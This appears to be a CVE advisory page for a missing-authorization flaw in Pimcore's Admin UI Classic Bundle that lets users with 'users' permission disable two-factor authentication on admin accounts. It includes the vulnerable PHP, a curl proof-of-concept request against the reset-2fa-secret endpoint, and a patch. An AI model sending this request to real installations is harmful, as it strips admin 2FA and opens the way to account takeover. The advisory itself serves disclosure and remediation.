CVE-2026-119791pimcore/admin-ui-classic-bundle >= 2.3.0, Missing Authorization
NVD
Vulnerability Summary
Summary The `reset2FaSecretAction` endpoint in Pimcore's Admin UI Classic Bundle allows any authenticated user with `users` permission to disable two-factor authentication on any user account, including admin accounts. The endpoint loads a user by ID from the request parameter and resets their 2FA secret without verifying that the requesting user has authority over the target account. This is an IDOR (Insecure Direct Object Reference) / missing authorization vulnerability. Vulnerable Code File: `src/Controller/Admin/UserController.php`, lines 813-826 ```php public function reset2FaSecretAction(Request $request): JsonResponse { $user = User::getById((int)$request->get('id')); // User ID from request - no auth check if (!$user) { throw $this->createNotFoundException(); } $user->setTwoFactorAuthentication('enabled', false); // Disables 2FA $user->setTwoFactorAuthentication('secret', ''); // Clears secret $user->save(); return $this->adminJson(['success' => true]); } ``` Comparison with Properly Protected Endpoints Other actions in the same controller correctly verify admin authority. For example, `deleteImageAction` (line 769) checks: ```php public function deleteImageAction(Request $request): JsonResponse { $userObj = User::getById($this->getUserId($request)); $adminUser = $this->getAdminUser(); if (!$adminUser->isAdmin()) { if ($userObj->isAdmin()) { throw $this->createAccessDeniedHttpException( 'Only admin users are allowed to modify admin users' ); } if ($adminUser->getId() !== $userObj->getId()) { throw $this->createAccessDeniedHttpException( 'Only admin users are allowed to modify users other than themselves' ); } } // ... proceed with action } ``` The `reset2FaSecretAction` has none of these protections. Proof of Concept ```bash As a low-privilege user with 'users' permission, disable 2FA on the admin account (ID=2): curl -X POST "https://pimcore.example.com/admin/user/reset-2fa-secret" \ -H "Cookie: PHPSESSID=<low_privilege_session>" \ -H "X-pimcore-csrf-token: <csrf_token>" \ -d "id=2" Response: {"success": true} The admin user's 2FA is now disabled. They can log in with password only. ``` Impact - 2FA bypass on any account -- a non-admin user can disable 2FA protection on administrator accounts - Account takeover chain -- disable admin 2FA, then use credential stuffing, password spray, or password reset to gain full admin access (2FA was the last defense) - Privilege escalation -- in multi-tenant Pimcore setups, an editor-level user can weaken the security posture of all admin accounts - CWE-862: Missing Authorization -- the endpoint performs no authorization check on the target user ID Remediation Add the same admin-check pattern used by other endpoints in the controller: ```php public function reset2FaSecretAction(Request $request): JsonResponse { $user = User::getById((int)$request->get('id')); if (!$user) { throw $this->createNotFoundException(); } $adminUser = $this->getAdminUser(); if ($user->isAdmin() && !$adminUser->isAdmin()) { throw $this->createAccessDeniedHttpException( 'Only admin users are allowed to reset admin 2FA' ); } $user->setTwoFactorAuthentication('enabled', false); $user->setTwoFactorAuthentication('secret', ''); $user->save(); return $this->adminJson(['success' => true]); } ``` --- Reported by tikket (hacktool.io) All testing conducted in isolated Docker environments.
CVSS v3.1 Base Metrics — Score 5.3
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:NAttack VectorNetwork
Attack ComplexityHigh
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- pimcore/admin-ui-classic-bundle >= 2.3.0, <= 2.3.7
- pimcore/admin-ui-classic-bundle 2.3.8
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run pimcore/admin-ui-classic-bundle >= 2.3.0, and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Nov 18, 2026Published
- Nov 18, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new pimcore/admin-ui-classic-bundle >= 2.3.0, CVEsYou are reading CVE-2026-119791. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 23, 2026 02:00 UTC